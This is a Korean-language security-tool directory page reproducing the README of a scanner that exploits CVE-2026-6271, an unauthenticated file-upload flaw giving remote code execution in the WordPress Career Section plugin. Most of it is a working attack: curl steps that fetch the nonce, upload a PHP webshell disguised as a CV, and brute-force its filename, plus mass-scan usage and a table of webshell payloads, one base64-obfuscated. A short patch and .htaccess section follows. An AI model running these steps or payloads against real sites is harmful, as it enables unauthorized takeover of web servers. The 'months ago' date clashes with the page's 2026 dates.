Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-6271 — WordPress Career Section 플러그인의 RCE로 이어지는 중요한 인증되지 않은 임의 파일 업로드인 CVE-2026-6271용 자동화 스캐너. 다중 스레드 스캐닝, 여러 셸 유형 및 프록시 통합을 지원합니다. | Kitploit
도구/GitHubGitHub/xxconi/cve-2026-6271
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

WordPress Career Section 플러그인의 RCE로 이어지는 중요한 인증되지 않은 임의 파일 업로드인 CVE-2026-6271용 자동화 스캐너. 다중 스레드 스캐닝, 여러 셸 유형 및 프록시 통합을 지원합니다.

저장소 보기
34개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-6271 — Career Section WordPress 플러그인 RCE 스캐너

플러그인: Career Section (career-section) CVE ID: CVE-2026-6271 CVSS 점수: 9.8 (Critical) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 취약점 유형: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행 영향을 받는 버전: <= 1.7 패치된 버전: 1.8 공개 날짜: 2026년 5월 13일 연구자: Paolo Tresso — Wordfence


📌 취약점 개요

Career Section 플러그인은 사이트 소유자가 채용 공고를 게시하고 지원서를 접수할 수 있게 해줍니다. 각 채용 공고 페이지에는 "Apply Now" 양식이 있습니다. 이 양식에는 CV 파일 업로드 필드가 포함되어 있습니다.

1.7 및 이전 버전에서는 업로드 핸들러가 .php를 포함한 모든 파일 유형을 허용합니다. 양식이 공개되어 있고 CSRF 토큰이 페이지 HTML에 내장되어 있으므로 어떤 계정이나 권한도 없이 이 취약점을 악용할 수 있습니다.


⚙️ 기술 분석

Nonce가 보호를 제공하지 못하는 이유

WordPress nonce는 CSRF 토큰이지 인증 토큰이 아닙니다. nonce 값은 모든 방문자에 대해 페이지 HTML에 내장됩니다:

<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>

인증되지 않은 모든 방문자는 유효한 nonce를 얻을 수 있으며 검증 확인을 통과할 수 있습니다.

파일 유형 검증 누락

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // 확장자 검사 없음 — .php를 포함한 모든 것이 허용됨
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name()은 특수 문자만 정리할 뿐 위험한 확장자를 차단하지 않습니다.

업로드 디렉터리

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

이 디렉터리에는 PHP 실행을 차단하는 .htaccess 파일이 없습니다.


🔴 왜 치명적인가?

이유설명
인증 불필요nonce가 공개 HTML에 내장됨
파일 유형 제한 없음.php, .php5, .phtml 허용됨
.htaccess 보호 없음업로드 디렉터리에서 PHP 실행됨
예측 가능한 파일 이름time()_filename → 타임스탬프 무차별 대입

🧪 개념 증명 (수동)

⚠️ 면책 조항: 이 PoC는 교육 목적으로만 제공됩니다. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에서만 테스트하십시오.

전제 조건:

  • Career Section 플러그인이 설치 및 활성화되어 있어야 함 (버전 ≤ 1.7)
  • 최소한 하나의 채용 공고가 게시되어 있어야 함

1단계 — PHP 웹셸 생성

echo '<?php system($_GET["cmd"]); ?>' > shell.php

2단계 — Nonce 가져오기

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

페이지 소스에서 찾을 구조:

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

3단계 — 웹셸 업로드

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

4단계 — RCE 트리거

파일 이름은 <timestamp>_shell.php 형식입니다. $TS 주변의 타임스탬프를 시도하세요:

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktif: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done

예상 출력:

웹셸 활성화: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE 출력  : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ 자동 스캐너

설치

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 사용법

단일 대상

python career_section_rce.py -u http://hedef.com

직접 Job URL 사용

python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

셸 검증 사용

python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

대량 스캔

python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Timestamp Window 늘리기 (느린 서버)

python career_section_rce.py -u http://hedef.com --ts-window 10

전체 셸 + 프록시 (Burp Suite)

python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ 매개변수

매개변수약어설명기본값
--url-u단일 대상 URL—
--list-l대상 목록 파일—
--threads-t스레드 수10
--output-o출력 파일rce_confirmed.txt
--job-url—직접 채용 공고 URL—
--shell-name—업로드할 파일 이름shell.php
--shell-type—셸 유형system
--verify-cmd—RCE 확인 명령id
--ts-window—타임스탬프 무차별 대입 창(±초)5
--proxy—프록시 URL—
--timeout—요청 타임아웃(초)10

💀 셸 유형

유형Payload설명
system<?php system($_GET["cmd"]); ?>기본 시스템 명령
passthru<?php passthru($_GET["cmd"]); ?>원시 출력
exec<?php echo exec($_GET["cmd"]); ?>무음 실행
assert<?php assert($_POST["cmd"]); ?>POST를 통한 eval
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 난독화
fullshell_exec + system + exec fallback완전한 기능을 갖춘 셸

📂 셸 업로드 위치

WordPress Kök/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← 셸이 여기에 있음

직접 접근:

curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 스캐너 출력 상태

상태설명
★ RCE OK셸 업로드됨 + 명령이 성공적으로 실행됨
★ SHELL ALIVE셸에 접근 가능, 다른 응답 반환
~ EXEC_DISABLED셸이 존재하지만 서버에서 exec()가 비활성화됨
? UPLOADED업로드되었지만 타임스탬프를 찾을 수 없음
- BLOCKED파일 유형이 차단됨 (패치된 버전)
~ NO_NONCEcsaf_form_nonce를 찾을 수 없음
~ TIMEOUT연결 시간 초과
~ UNREACH대상에 연결할 수 없음

🖥️ 스캐너 출력 예시

[*] 3개 대상 | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (출처: http://hedef1.com/careers/engineer/)
  Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE 출력 : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (파일 유형이 차단됨)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce를 찾을 수 없음)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE 확인됨 → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ 방어 / 패치

조치적용 방법
플러그인 업데이트Career Section 1.8 이상으로 업그레이드
PHP 실행 차단업로드 디렉터리에 .htaccess 추가
확장자 화이트리스트pdf, doc, docx만 허용
MIME 검증finfo_file()로 실제 콘텐츠 확인
WAF 규칙.php 업로드 요청 차단

wp-content/uploads/cs_applicant_submission_files/ 디렉터리용 .htaccess:

<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 파일 구조

cve-2026-6271-scanner/
├── career_section_rce.py   # 기본 스캐너
├── requirements.txt        # 의존성
└── README.md               # 이 파일

⚠️ 법적 고지

이 도구와 PoC는 승인된 시스템에서 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 제작되었습니다. 무단 시스템에서의 사용은 터키 형법 제243-245조 및 국제 사이버 범죄법에 따라 범죄 행위에 해당합니다. 개발자는 도구의 악용으로 인해 발생하는 어떠한 법적 책임도 지지 않습니다.


📄 라이선스

MIT License — 교육 및 연구 목적으로만 사용할 수 있습니다.


🔗 참고 자료

도구 다운로드